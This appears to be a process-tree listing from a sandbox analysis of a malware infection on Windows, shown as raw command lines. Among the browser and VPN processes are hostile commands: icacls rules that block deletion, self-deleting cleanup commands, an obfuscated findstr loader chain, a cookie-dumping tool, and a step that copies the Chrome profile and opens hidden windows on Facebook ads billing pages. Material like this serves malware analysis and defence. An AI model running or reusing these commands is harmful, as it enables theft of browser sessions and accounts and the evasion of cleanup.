C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5560 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4760 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4424 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5152 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5420 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4900 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5920 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5916 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6316 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6568 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6320 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6828 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6832 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7144 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7268 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7264 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7544 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7704 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,17080274915047663031,8793546438390005822,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4592 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 408934E32BC610199E750DA7CEBD2B83 C2⤵
- Loads dropped DLL
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{66229d82-4354-1642-887f-d51893515246}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000174"2⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\7E50.exeC:\Users\Admin\AppData\Local\Temp\7E50.exe1⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\c2f07f52-299b-4689-9317-d34171e0a13e" /deny *S-1-1-0:(OI)(CI)(DE,DC)2⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\7E50.exe"C:\Users\Admin\AppData\Local\Temp\7E50.exe" --Admin IsNotAutoStart IsNotTask2⤵
-
C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\updatewin1.exe"C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\updatewin1.exe"3⤵
-
C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\updatewin2.exe"C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\updatewin2.exe"3⤵
-
C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\updatewin.exe"C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\updatewin.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\updatewin.exe4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 35⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\5.exe"C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\5.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\bdf76b1b-b524-426a-a340-481b8e0fb5d3\5.exe" & del C:\ProgramData\*.dll & exit4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 5.exe /f5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 65⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\A736.exeC:\Users\Admin\AppData\Local\Temp\A736.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo MFbR2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Declinante.html2⤵
-
C:\Windows\SysWOW64\cmd.execmd3⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^vbzKnQFSqnlAJtUxNfEmiqqLJfcsIqUhKbnAvosGDfELCESlYcgqhNQcvIqpchlqDWPjFzXEXXVRvfoyblzjLTqXHrtOiokftEiFOGFFnJrfSYZuAVMkUYgKWSECgobOMFMRoCdQFOOwQKtJrX$" Quel.cab4⤵
-
C:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.comSui.com Benedetto.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.comC:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.com Benedetto.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.comC:\Users\Admin\AppData\Local\Temp\HbupnlUNxCFbW\Sui.com6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5536 -s 15247⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5536 -s 7927⤵
- Program crash
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 304⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\B1E5.exeC:\Users\Admin\AppData\Local\Temp\B1E5.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\C0AC.exeC:\Users\Admin\AppData\Local\Temp\C0AC.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\C986.exeC:\Users\Admin\AppData\Local\Temp\C986.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\C986.exeC:\Users\Admin\AppData\Local\Temp\C986.exe2⤵
-
C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"C:\Program Files (x86)\gdiview\gdiview\GDIView.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\D4B3.exeC:\Users\Admin\AppData\Local\Temp\D4B3.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffb545c6e00,0x7ffb545c6e10,0x7ffb545c6e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1592 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2252 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1480 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2796 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2788 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3628 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4756 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5128 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5268 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3420 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1468,12054400070215544875,14525310694837707138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4868 /prefetch:82⤵
-
C:\Users\Admin\AppData\Local\Temp\E35A.exeC:\Users\Admin\AppData\Local\Temp\E35A.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\E35A.exe"C:\Users\Admin\AppData\Local\Temp\E35A.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\F099.exeC:\Users\Admin\AppData\Local\Temp\F099.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\730.exeC:\Users\Admin\AppData\Local\Temp\730.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cvvgds99\" /s /e /y2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/2⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cvvgds99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cvvgds99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cvvgds99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffb65526e00,0x7ffb65526e10,0x7ffb65526e203⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1456 /prefetch:23⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --mojo-platform-channel-handle=1900 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --mojo-platform-channel-handle=2260 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2808 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2784 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3844 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --mojo-platform-channel-handle=4768 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1444,2308689963485646126,16337880828719379306,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cvvgds99" --mojo-platform-channel-handle=716 /prefetch:83⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe "C:\Users\Admin\AppData\Roaming\WinHost\7141808.78"1⤵
-
C:\Users\Admin\AppData\Local\Temp\CE69.exeC:\Users\Admin\AppData\Local\Temp\CE69.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\EF9E.tmp.exeC:\Users\Admin\AppData\Local\Temp\EF9E.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\29.tmp.exeC:\Users\Admin\AppData\Local\Temp\29.tmp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\616.exeC:\Users\Admin\AppData\Local\Temp\616.exe1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
-
